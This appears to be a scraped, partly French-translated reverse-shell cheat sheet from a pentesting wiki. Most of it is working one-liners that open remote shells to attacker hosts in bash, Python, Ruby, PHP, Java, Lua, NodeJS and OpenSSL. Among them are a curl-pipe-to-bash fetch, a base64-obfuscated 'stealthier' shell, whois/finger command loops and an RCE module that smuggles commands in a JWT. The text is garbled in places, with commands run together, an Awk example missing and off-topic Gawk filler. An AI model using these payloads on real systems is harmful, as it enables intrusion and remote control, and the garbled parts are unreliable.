curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
Coquille sûre de symboles
N'oubliez pas de vérifier avec d'autres coquilles : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh et bash.
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
Explication du Shell
bash -i: Cette partie de la commande démarre un shell Bash interactif (-i).
>&: Cette partie de la commande est une notation abrégée pour rediriger à la fois la sortie standard (stdout) et l'erreur standard (stderr) vers la même destination.
/dev/tcp/<IP-ATTAQUANT>/<PORT>: Il s'agit d'un fichier spécial qui représente une connexion TCP à l'adresse IP et au port spécifiés.
En redirigeant les flux de sortie et d'erreur vers ce fichier, la commande envoie efficacement la sortie de la session shell interactive à la machine de l'attaquant.
0>&1: Cette partie de la commande redirige l'entrée standard (stdin) vers la même destination que la sortie standard (stdout).
Lorsqu'il s'agit d'une vulnérabilité d'Exécution de Code à Distance (RCE) au sein d'une application web basée sur Linux, l'obtention d'un shell inversé peut être entravée par des défenses réseau telles que des règles iptables ou des mécanismes de filtrage de paquets complexes. Dans de tels environnements restreints, une approche alternative consiste à établir un shell PTY (Pseudo Terminal) pour interagir de manière plus efficace avec le système compromis.
Un outil recommandé à cette fin est toboggan, qui simplifie l'interaction avec l'environnement cible.
Pour utiliser toboggan de manière efficace, créez un module Python adapté au contexte de RCE de votre système cible. Par exemple, un module nommé nix.py pourrait être structuré comme suit:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
Et ensuite, vous pouvez exécuter :
toboggan-mnix.py-i
Pour exploiter directement un shell interactif. Vous pouvez ajouter -b pour l'intégration de Burpsuite et supprimer le -i pour un wrapper rce plus basique.
Le préfixe et le suffixe de votre charge utile (le cas échéant)
La manière dont la charge utile est envoyée (en-têtes ? données ? informations supplémentaires ?)
Ensuite, vous pouvez simplement envoyer des commandes ou même utiliser la commande upgrade pour obtenir un PTY complet (notez que les pipes sont lus et écrits avec un délai approximatif de 1,3s).
Telnet est un protocole de communication utilisé pour se connecter à distance à un serveur, un routeur ou un commutateur. Il permet d'accéder à une interface en ligne de commande pour exécuter des commandes et configurer l'appareil distant.
Pour envoyer la commande, écrivez-la, appuyez sur Entrée, puis sur CTRL+D (pour arrêter STDIN)
Victime
export X=Connected; whiletrue; do X=`eval $(whois-h<IP>-p<Port> "Output: $X")`; sleep1; done
Python
Python is a versatile programming language that is commonly used in the hacking community due to its simplicity and readability. It is often used for writing scripts, automating tasks, and developing tools for various hacking activities. Python's extensive libraries and frameworks make it a popular choice for hackers of all skill levels.
#Linuxexport RHOST="127.0.0.1";export RPORT=12345;python-c'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'python-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'#IPv6python-c'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
ruby-rsocket-e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'ruby-rsocket-e'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
PHP
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
Java
r=Runtime.getRuntime()p=r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
Lua est un langage de script léger et puissant. Il est souvent utilisé pour l'automatisation de tâches, le prototypage rapide et le développement de jeux. Lua peut être intégré à des applications plus larges pour offrir une plus grande flexibilité et extensibilité.
#Linuxlua-e"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"#Windows & Linuxlua5.1-e'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
L'attaquant (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response
Awk est un langage de programmation et une commande de traitement de texte très puissante sous Linux. Il est souvent utilisé pour traiter des fichiers texte en extrayant et en manipulant des données. Voici un exemple simple d'utilisation d'Awk pour afficher la première colonne d'un fichier CSV :
Pour envoyer la commande, écrivez-la, appuyez sur Entrée, puis sur CTRL+D (pour arrêter STDIN)
Victime
export X=Connected; whiletrue; do X=`eval $(finger "$X"@<IP>2>/dev/null')`; sleep 1; doneexport X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
Gawk
Introduction
Gawk est un langage de programmation interprété qui est souvent utilisé pour le traitement de fichiers texte et la génération de rapports. Il est également largement utilisé dans les scripts shell pour traiter des données structurées.
Utilisation de Gawk
Gawk peut être utilisé pour extraire et traiter des données à partir de fichiers texte en utilisant des expressions régulières et des opérations de traitement de texte avancées. Il peut également être utilisé pour effectuer des calculs mathématiques simples et pour formater des données pour l'affichage.
Exemples d'utilisation de Gawk
Voici quelques exemples d'utilisation de Gawk :
Extraction de colonnes spécifiques à partir d'un fichier CSV
Recherche et remplacement de texte dans un fichier
Calcul de la somme ou de la moyenne des valeurs dans une colonne de données
Formatage de données pour l'affichage dans un rapport
Gawk est un outil puissant pour le traitement de fichiers texte et peut être utilisé de manière créative pour automatiser des tâches de manipulation de données.